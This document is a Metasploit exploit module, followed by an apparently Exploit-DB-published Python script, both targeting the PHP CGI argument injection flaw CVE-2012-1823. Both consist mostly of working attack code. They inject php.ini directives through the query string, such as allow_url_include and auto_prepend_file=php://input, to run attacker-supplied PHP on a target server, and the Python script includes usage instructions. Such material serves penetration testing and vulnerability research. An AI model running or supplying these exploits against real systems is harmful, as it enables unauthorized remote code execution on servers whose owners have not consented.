## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHP CGI Argument Injection', 'Description' => %q{ When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." }, 'Author' => [ 'egypt', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ "CVE" , "2012-1823" ], [ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144, # 256k }, 'DisclosureDate' => 'May 03 2012', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]), ], self.class) end # php-cgi -h # ... # -s Display colour syntax highlighted source. def check uri = target_uri.path uri.gsub!(/\?.*/, "") print_status("Checking uri #{uri}") response = send_request_raw({ 'uri' => uri }) if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable") return Exploit::CheckCode::Unknown end response = send_request_raw({ 'uri' => uri + '?-s'}) if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi return Exploit::CheckCode::Vulnerable end print_error("Server responded indicating it was not vulnerable") return Exploit::CheckCode::Safe end def exploit begin args = [ "-d+allow_url_include%3d#{rand_php_ini_true}", "-d+safe_mode%3d#{rand_php_ini_false}", "-d+suhosin.simulation%3d#{rand_php_ini_true}", "-d+disable_functions%3d%22%22", "-d+open_basedir%3dnone", "-d+auto_prepend_file%3dphp://input", "-n" ] qs = args.join("+") uri = "#{target_uri}?#{qs}" # Has to be all on one line, so gsub out the comments and the newlines payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "") response = send_request_cgi( { 'method' => "POST", 'global' => true, 'uri' => uri, 'data' => payload_oneline, }, 0.5) handler rescue ::Interrupt raise $! rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused print_error("The target service unreachable") rescue ::OpenSSL::SSL::SSLError print_error("The target failed to negotiate SSL, is this really an SSL service?") end end def rand_php_ini_false Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)]) end def rand_php_ini_true Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)]) end end

Exploit Database EDB-ID : 18836

Publication date : 2012-05-04 22h00 +00:00
Author : rayh4c
EDB Verified : Yes

###################################################################################### # Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit # Date: May 4, 2012 # Author: rayh4c[0x40]80sec[0x2e]com # Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com ###################################################################################### import socket import sys def cgi_exploit(): pwn_code = """<?php phpinfo();?>""" post_Length = len(pwn_code) http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1 Host: %s Content-Type: application/x-www-form-urlencoded Content-Length: %s %s """ %(HOST , post_Length ,pwn_code) print http_raw try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, int(PORT))) sock.send(http_raw) data = sock.recv(10000) print repr(data) sock.close() except socket.error, msg: sys.stderr.write("[ERROR] %s\n" % msg[1]) sys.exit(1) if __name__ == '__main__': try: HOST = sys.argv[1] PORT = sys.argv[2] cgi_exploit() except IndexError: print '[+]Usage: cgi_test.py site.com 80' sys.exit(-1)